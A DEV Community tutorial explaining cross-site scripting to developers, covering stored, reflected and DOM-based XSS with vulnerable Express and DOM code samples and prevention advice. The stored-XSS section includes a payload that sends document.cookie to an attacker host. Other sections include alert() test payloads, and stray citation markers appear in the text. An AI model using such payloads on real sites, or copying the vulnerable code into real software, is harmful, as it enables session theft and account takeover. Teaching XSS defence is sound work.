DEV Community

Hawkinsdev
Hawkinsdev

Posted on

Cross-Site Scripting (XSS) Explained for Developers

Cross-Site Scripting (XSS) is one of the most common web application vulnerabilities. Even today, it frequently appears in security reports and vulnerability scans.

For developers, understanding XSS is critical because it directly affects user security, session integrity, and application trust.

In this article, we'll cover:

  • What XSS is
  • How XSS attacks work
  • The main types of XSS
  • Real examples of vulnerable code
  • Practical ways to prevent it

What is Cross-Site Scripting (XSS)?

Cross-Site Scripting (XSS) is a vulnerability that allows attackers to inject malicious JavaScript into a web page viewed by other users. :contentReference[oaicite:0]{index=0}

When a website takes user input and displays it without proper validation or encoding, an attacker can insert JavaScript that executes in the victim’s browser.

Because the script runs in the context of the trusted website, it can access anything the site itself can access. :contentReference[oaicite:1]{index=1}

This may include:

session cookies
local storage data
user actions
page content
API requests
Enter fullscreen mode Exit fullscreen mode

In simple terms:

User input + No sanitization = XSS vulnerability
Enter fullscreen mode Exit fullscreen mode

How XSS Attacks Work

A typical XSS attack involves three actors:

1. The attacker
2. The vulnerable website
3. The victim user
Enter fullscreen mode Exit fullscreen mode

Attack flow:

Attacker injects malicious script
          ↓
Website stores or reflects the input
          ↓
Victim loads the infected page
          ↓
Browser executes the attacker's script
Enter fullscreen mode Exit fullscreen mode

Example payload:

<script>alert('XSS')</script>
Enter fullscreen mode Exit fullscreen mode

If a website directly displays user input inside HTML, this script will execute in the browser.

The browser cannot distinguish between legitimate code and malicious injected code, so it executes both. :contentReference[oaicite:2]{index=2}


A Simple Vulnerable Example

Imagine a website that displays a user’s name:

app.get("/hello", (req, res) => {
    const name = req.query.name
    res.send(`<h1>Hello ${name}</h1>`)
})
Enter fullscreen mode Exit fullscreen mode

Normal request:

/hello?name=Alice
Enter fullscreen mode Exit fullscreen mode

Output:

Hello Alice
Enter fullscreen mode Exit fullscreen mode

Malicious request:

/hello?name=<script>alert('XSS')</script>
Enter fullscreen mode Exit fullscreen mode

Output:

Hello <script>alert('XSS')</script>
Enter fullscreen mode Exit fullscreen mode

Result:

Browser executes the script
Enter fullscreen mode Exit fullscreen mode

This is a classic Reflected XSS vulnerability.


The Three Main Types of XSS

Developers usually encounter three categories of XSS vulnerabilities.


1. Stored (Persistent) XSS

Stored XSS happens when malicious input is saved on the server and later displayed to other users.

Example scenario:

User comments on blog
Comment stored in database
Other users load the page
Malicious script executes
Enter fullscreen mode Exit fullscreen mode

Example payload in a comment:

<script>fetch('https://attacker.com?cookie='+document.cookie)</script>
Enter fullscreen mode Exit fullscreen mode

Every user viewing the comment executes the script.

Stored XSS is often the most dangerous type because it spreads automatically.


2. Reflected XSS

Reflected XSS occurs when malicious input is immediately returned in the HTTP response.

Example:

https://example.com/search?q=<script>alert(1)</script>
Enter fullscreen mode Exit fullscreen mode

If the search page reflects the query directly into HTML, the script executes.

Reflected XSS often appears in:

search pages
error messages
login redirects
URL parameters
Enter fullscreen mode Exit fullscreen mode

3. DOM-Based XSS

DOM-based XSS happens when JavaScript on the page directly inserts user input into the DOM.

Example:

const name = new URLSearchParams(location.search).get("name")
document.getElementById("output").innerHTML = name
Enter fullscreen mode Exit fullscreen mode

Attack:

?name=<img src=x onerror=alert(1)>
Enter fullscreen mode Exit fullscreen mode

The browser inserts this HTML into the page and executes it.

This vulnerability exists entirely in the browser, not on the server.


What Attackers Can Do with XSS

Once attackers run JavaScript in a victim's browser, they can:

steal session cookies
perform actions as the user
capture login credentials
redirect users to phishing sites
modify page content
spread malware
Enter fullscreen mode Exit fullscreen mode

In some cases, XSS can lead to full account takeover.


How Developers Can Prevent XSS

Preventing XSS requires multiple layers of defense.


1. Escape User Input (Output Encoding)

Never insert raw user input into HTML.

Unsafe:

<div>${userInput}</div>
Enter fullscreen mode Exit fullscreen mode

Safe:

HTML encode special characters
< → &lt;
> → &gt;
Enter fullscreen mode Exit fullscreen mode

Many template engines automatically escape output.


2. Avoid Dangerous APIs

Certain APIs make XSS easy to introduce.

Examples:

innerHTML
document.write
eval
dangerouslySetInnerHTML
Enter fullscreen mode Exit fullscreen mode

Safer alternative:

element.textContent = userInput
Enter fullscreen mode Exit fullscreen mode

3. Use Content Security Policy (CSP)

Content Security Policy restricts which scripts can execute.

Example header:

Content-Security-Policy: default-src 'self'
Enter fullscreen mode Exit fullscreen mode

This helps block injected scripts even if a vulnerability exists.


4. Sanitize HTML Input

If your application allows HTML input (for example comments or rich text), sanitize it using a trusted library.

Sanitization removes dangerous elements like:

<script>
onerror=
onclick=
javascript:
Enter fullscreen mode Exit fullscreen mode

5. Validate Input

While validation alone is not enough, it reduces risk.

Examples:

length limits
allowed characters
expected formats
Enter fullscreen mode Exit fullscreen mode

Never trust client-side validation alone.


Conclusion

Cross-Site Scripting remains one of the most common vulnerabilities in web applications.

The root cause is almost always the same:

Untrusted input rendered as executable code
Enter fullscreen mode Exit fullscreen mode

For developers, the most effective defenses are:

output encoding
safe templating engines
HTML sanitization
Content Security Policy
secure coding practices
Enter fullscreen mode Exit fullscreen mode

Security should be considered part of the development process — not something added later.

Top comments (0)